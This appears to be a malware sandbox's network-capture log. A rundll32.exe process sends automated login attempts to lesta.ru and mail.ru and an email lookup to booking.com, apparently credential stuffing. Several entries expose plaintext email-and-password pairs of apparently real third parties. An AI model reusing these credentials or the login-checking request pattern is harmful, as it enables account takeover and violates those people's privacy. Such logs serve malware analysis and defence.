2023-12-10 16:49:05 UTC	774	OUT	POST /id/signin/process/?type=captcha HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=JLDo3ISuLxosFabMLPq9Ga6miWuKi4NEQ4bqqssaM5XrsGmXvJweUWtyjAEn94X4; wgni_sessionid=so02wrzv9qxvu2ppaksun8ecncqv9fci User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.60 YaBrowser/20.12.0.966 Yowser/2.5 Safari/537.36 Content-Length: 109 Content-Type: application/x-www-form-urlencoded accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://lesta.ru/id/signin/ x-csrftoken: JLDo3ISuLxosFabMLPq9Ga6miWuKi4NEQ4bqqssaM5XrsGmXvJweUWtyjAEn94X4 x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:49:05 UTC	109	OUT	Data Raw: 6c 6f 67 69 6e 3d 62 67 72 6e 65 79 65 7a 37 30 32 40 67 6d 78 2e 64 65 26 70 61 73 73 77 6f 72 64 3d 65 72 79 6b 61 37 31 37 26 63 61 70 74 63 68 61 3d 35 35 39 35 38 37 31 26 6e 65 78 74 3d 25 32 46 69 64 25 32 46 73 73 6f 25 32 46 73 69 67 6e 69 6e 25 32 46 6e 6f 74 69 66 79 25 32 46 25 33 46 6e 65 78 74 25 33 44 25 32 46 Data Ascii: login=bgrneyez702@gmx.de&password=eryka717&captcha=5595871&next=%2Fid%2Fsso%2Fsignin%2Fnotify%2F%3Fnext%3D%2F
2023-12-10 16:49:09 UTC	436	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 2c 20 43 6f 6f 6b 69 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 72 75 0d 0a 50 33 50 3a 20 43 50 3d 22 41 4c 4c 20 41 44 4d 20 44 45 56 20 50 53 41 69 20 43 4f 4d 20 4f 55 52 Data Ascii: HTTP/1.1 409 ConflictServer: nginxDate: Sun, 10 Dec 2023 16:49:08 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 36Connection: closeVary: Accept-Language, CookieContent-Language: ruP3P: CP="ALL ADM DEV PSAi COM OUR
2023-12-10 16:49:09 UTC	36	IN	Data Raw: 7b 22 65 72 72 6f 72 73 22 3a 20 7b 22 63 61 70 74 63 68 61 22 3a 20 5b 22 69 6e 76 61 6c 69 64 22 5d 7d 7d Data Ascii: {"errors": {"captcha": ["invalid"]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49823	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:06 UTC	67	OUT	GET /?name=Behnaz HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:49:06 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:06 GMTContent-Type: application/json; charset=utf-8Content-Length: 66Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:49:06 UTC	66	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 34 35 36 2c 22 6e 61 6d 65 22 3a 22 42 65 68 6e 61 7a 22 2c 22 67 65 6e 64 65 72 22 3a 22 66 65 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 30 2e 39 38 7d Data Ascii: {"count":456,"name":"Behnaz","gender":"female","probability":0.98}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49827	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:07 UTC	875	OUT	GET /search;_ylt=AwrigfX663VlKMErmFdXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=71&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226939&ltv_c=10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:49:07 UTC	2097	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 30 37 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:49:07 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:49:07 UTC	5293	IN	Data Raw: 61 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 0d 0a 32 64 34 30 0d 0a 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: a9<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/htm2d40l; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https:/
2023-12-10 16:49:07 UTC	16384	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e Data Ascii: prototype=Object.create?Object.create(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].
2023-12-10 16:49:07 UTC	13258	IN	Data Raw: 67 3b 69 66 28 30 3c 6f 29 7b 69 3d 6e 28 65 2e 63 74 6e 2c 22 6c 69 22 29 2c 74 3d 6e 28 65 2e 68 64 2c 22 64 69 76 22 29 2c 73 3d 6e 28 65 2e 75 6c 2c 22 75 6c 22 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 6f 3b 72 2b 2b 29 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 5b 72 5d 2e 6c 69 29 3b 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 7d 72 65 74 75 72 6e 20 69 7d 28 29 29 26 26 28 28 74 3d 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 29 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 2c 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 2c 6c 2e 68 69 73 74 6f 72 79 2e 6c 65 6e 67 74 68 3e 3d 73 2e 73 68 6f 77 4d 75 6c 74 69 43 Data Ascii: g;if(0<o){i=n(e.ctn,"li"),t=n(e.hd,"div"),s=n(e.ul,"ul"),i.appendChild(t);for(var r=0;r<o;r++)s.appendChild(a[r].li);i.appendChild(s)}return i}())&&((t=e.cloneNode()).appendChild(i),e.parentNode.insertBefore(t,e.nextSibling),l.history.length>=s.showMultiC
2023-12-10 16:49:07 UTC	3126	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 43 74 28 29 7b 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 68 69 73 2e 61 70 70 2e 76 69 65 77 2e 65 6c 65 6d 73 2e 73 62 46 6f 72 6d 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 66 6f 72 6d 43 53 53 29 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 22 73 61 2d 73 75 62 74 72 61 79 22 2c 66 6f 72 6d 43 53 53 3a 22 73 66 2d 73 75 62 74 72 61 79 22 2c 6f 66 66 73 65 74 3a 35 2c 64 65 6c 74 61 3a 30 2c 6d 69 6e 51 75 65 72 79 3a 30 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 2e 6d 2c 73 3d 74 68 69 73 2e 69 64 78 73 3b 22 22 21 3d 3d 74 2e 71 7c 7c 69 20 69 6e 20 73 7c 7c 28 73 5b 69 5d 3d 65 2e 69 64 78 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 29 7b 76 Data Ascii: unction Ct(){S.removeClass(this.app.view.elems.sbForm,this.config.formCSS)}function wt(){this.config={css:"sa-subtray",formCSS:"sf-subtray",offset:5,delta:0,minQuery:0}}function St(e,t){var i=t.m,s=this.idxs;""!==t.q\|\|i in s\|\|(s[i]=e.idx)}function Tt(e){v
2023-12-10 16:49:07 UTC	16384	IN	Data Raw: 65 6e 74 2d 74 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 7c 7c 28 73 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f Data Ascii: ent-type","application/x-www-form-urlencoded"),n.placeholder\|\|(s.onreadystatechange=function(){var e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBefo
2023-12-10 16:49:07 UTC	10898	IN	Data Raw: 30 29 2c 61 3d 30 3b 61 3c 65 2e 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6f 2c 72 2c 6c 3d 65 2e 72 5b 61 5d 3b 73 5b 6c 2e 6d 5d 7c 7c 28 74 68 69 73 2e 66 64 61 74 61 2e 73 75 67 67 65 73 74 69 6f 6e 73 2e 72 65 73 75 6c 74 73 2e 70 75 73 68 28 7b 6b 65 79 3a 6c 2e 6b 2c 6d 72 6b 3a 6c 2e 6d 7d 29 2c 28 6f 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 6c 69 22 2c 63 73 73 3a 74 2b 22 2d 6f 70 74 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d 65 3d 22 27 2b 74 2b 27 2d 73 75 67 67 22 20 69 64 3d 22 27 2b 28 72 3d 74 2b 22 2d 73 75 67 67 2d 22 2b 6e 29 2b 27 22 20 76 61 6c 75 65 3d 22 27 2b 6c 2e 6b 2b 27 22 3e 3c 73 70 61 6e 3e 3c 6c 61 62 Data Ascii: 0),a=0;a<e.r.length;a++){var o,r,l=e.r[a];s[l.m]\|\|(this.fdata.suggestions.results.push({key:l.k,mrk:l.m}),(o=this.createElem({tag:"li",css:t+"-opt"})).innerHTML='<input type="checkbox" name="'+t+'-sugg" id="'+(r=t+"-sugg-"+n)+'" value="'+l.k+'"><span><lab
2023-12-10 16:49:07 UTC	5486	IN	Data Raw: 28 29 29 2e 73 72 63 3d 27 27 3b 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 48 53 41 20 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 2d 20 59 61 68 6f 6f 20 53 65 61 72 63 68 20 52 65 73 75 6c 74 73 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 7a 7a 2f 63 6f 6d 62 6f 3f 70 76 2f 73 74 61 74 69 63 2f 6c 69 62 2f 73 72 70 2d 68 65 61 64 65 72 2d 63 73 73 2d 70 68 6f 65 6e 69 78 2d 75 73 5f 64 37 65 32 64 61 37 36 30 62 36 30 37 30 32 33 37 62 61 66 33 63 66 62 61 61 38 62 33 38 31 36 2e 63 73 73 26 70 76 2f 73 74 61 74 69 63 2f 6c 69 62 2f 73 72 70 2d 63 6f 72 65 2d 63 73 Data Ascii: ()).src='';})();</script><title>HSA Administrator - Yahoo Search Results</title><link rel="stylesheet" type="text/css" href="https://s.yimg.com/zz/combo?pv/static/lib/srp-header-css-phoenix-us_d7e2da760b6070237baf3cfbaa8b3816.css&pv/static/lib/srp-core-cs
2023-12-10 16:49:07 UTC	10792	IN	Data Raw: 64 2e 48 6f 6c 69 64 61 79 20 2e 66 63 2d 66 69 72 73 74 7b 63 6f 6c 6f 72 3a 20 23 30 30 30 7d 23 72 65 73 75 6c 74 73 20 2e 74 72 65 6e 64 69 6e 67 6e 6f 77 63 61 72 6f 75 73 65 6c 76 32 20 68 34 2e 74 69 74 6c 65 20 73 70 61 6e 2c 20 23 72 65 73 75 6c 74 73 20 2e 74 72 65 6e 64 69 6e 67 6e 6f 77 63 61 72 6f 75 73 65 6c 76 32 20 2e 63 6f 6d 70 4c 69 73 74 20 6c 69 20 73 70 61 6e 20 73 74 72 6f 6e 67 20 7b 63 6f 6c 6f 72 3a 20 23 30 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 23 72 65 73 75 6c 74 73 20 2e 4c 6f 74 74 65 72 79 47 61 6d 65 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 66 63 2d 36 74 68 7b 63 6f 6c 6f 72 3a 23 43 44 34 46 30 30 7d 23 72 65 73 75 6c 74 73 20 2e 4c 6f 74 74 65 72 79 47 61 6d 65 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e Data Ascii: d.Holiday .fc-first{color: #000}#results .trendingnowcarouselv2 h4.title span, #results .trendingnowcarouselv2 .compList li span strong {color: #000 !important}#results .LotteryGame .compText span.fc-6th{color:#CD4F00}#results .LotteryGame .compText span.
2023-12-10 16:49:07 UTC	1448	IN	Data Raw: 35 61 32 0d 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 61 2f 63 6f 6e 73 65 6e 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 27 45 38 4c 70 76 33 73 6f 55 4a 52 4f 78 59 66 69 51 37 50 65 41 67 3d 3d 27 3e 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 63 29 7b 6e 2e 63 6d 70 4a 53 49 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3b 6e 2e 63 6d 70 4a 53 49 6e 69 74 44 6f 6e 65 7c 7c 28 74 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 28 65 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 Data Ascii: 5a2<script async src="https://s.yimg.com/oa/consent.js"></script><script type="text/javascript" nonce='E8Lpv3soUJROxYfiQ7PeAg=='>!function(n,c){n.cmpJSInit=function(){var t,e;n.cmpJSInitDone\|\|(t=c.getElementsByTagName("head")[0],(e=c.createElement("scri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49828	217.69.139.60	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:08 UTC	29	OUT	POST /cgi-bin/auth HTTP/1.1
2023-12-10 16:49:08 UTC	247	OUT	Data Raw: 48 6f 73 74 3a 20 61 75 74 68 2e 6d 61 69 6c 2e 72 75 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 30 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 4f 57 36 34 3b 20 72 76 3a 35 32 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 2f 35 32 2e 30 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 0d 0a Data Ascii: Host: auth.mail.ruConnection: keep-aliveAccept-Encoding: gzip,deflateContent-Type: application/x-www-form-urlencodedContent-Length: 100User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: /
2023-12-10 16:49:08 UTC	100	OUT	Data Raw: 70 6f 73 74 3d 26 6c 6f 67 69 6e 5f 66 72 6f 6d 3d 26 6e 65 77 5f 61 75 74 68 5f 66 6f 72 6d 3d 31 26 73 61 76 65 61 75 74 68 3d 31 26 4c 6f 67 69 6e 3d 6d 61 6b 73 32 39 30 36 32 30 30 35 26 44 6f 6d 61 69 6e 3d 6d 61 69 6c 2e 72 75 26 50 61 73 73 77 6f 72 64 3d 4c 6f 6c 6b 65 6b 6c 6f 6c 31 32 31 Data Ascii: post=&login_from=&new_auth_form=1&saveauth=1&Login=maks29062005&Domain=mail.ru&Password=Lolkeklol121
2023-12-10 16:49:09 UTC	918	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 33 50 3a 20 43 50 3d 22 4e 4f 4e 20 43 55 52 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 49 4e 54 22 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 61 69 6c 2e 72 75 2f 6c 6f 67 69 6e 3f 26 66 61 69 6c 3d 31 26 65 6d 61 69 6c 3d 6d 61 6b 73 32 39 30 36 32 30 30 35 25 34 30 6d 61 69 6c 2e 72 75 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 10 Dec 2023 16:49:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeP3P: CP="NON CUR OUR IND UNI INT"Location: https://account.mail.ru/login?&fail=1&email=maks29062005%40mail.ru
2023-12-10 16:49:09 UTC	48	IN	Data Raw: 32 35 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 52 65 64 69 72 65 63 74 2e 2e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 25<html><body>Redirect...</body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49844	18.244.102.65	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:13 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 79 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:49:13 UTC	79	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 62 6f 74 6c 6f 2e 6c 75 62 6f 73 40 70 6f 62 6f 78 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"botlo.lubos@pobox.sk"}}
2023-12-10 16:49:13 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 31 33 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 61 70 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 69 62 32 39 72 61 57 35 6e 58 32 64 73 62 32 4a 68 62 43 49 36 65 79 4a 7a 5a 58 4e 7a 61 57 39 75 63 79 49 36 57 31 30 73 49 6d 52 68 64 47 46 66 63 33 56 69 61 6d 56 6a Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:49:13 GMTset-cookie: 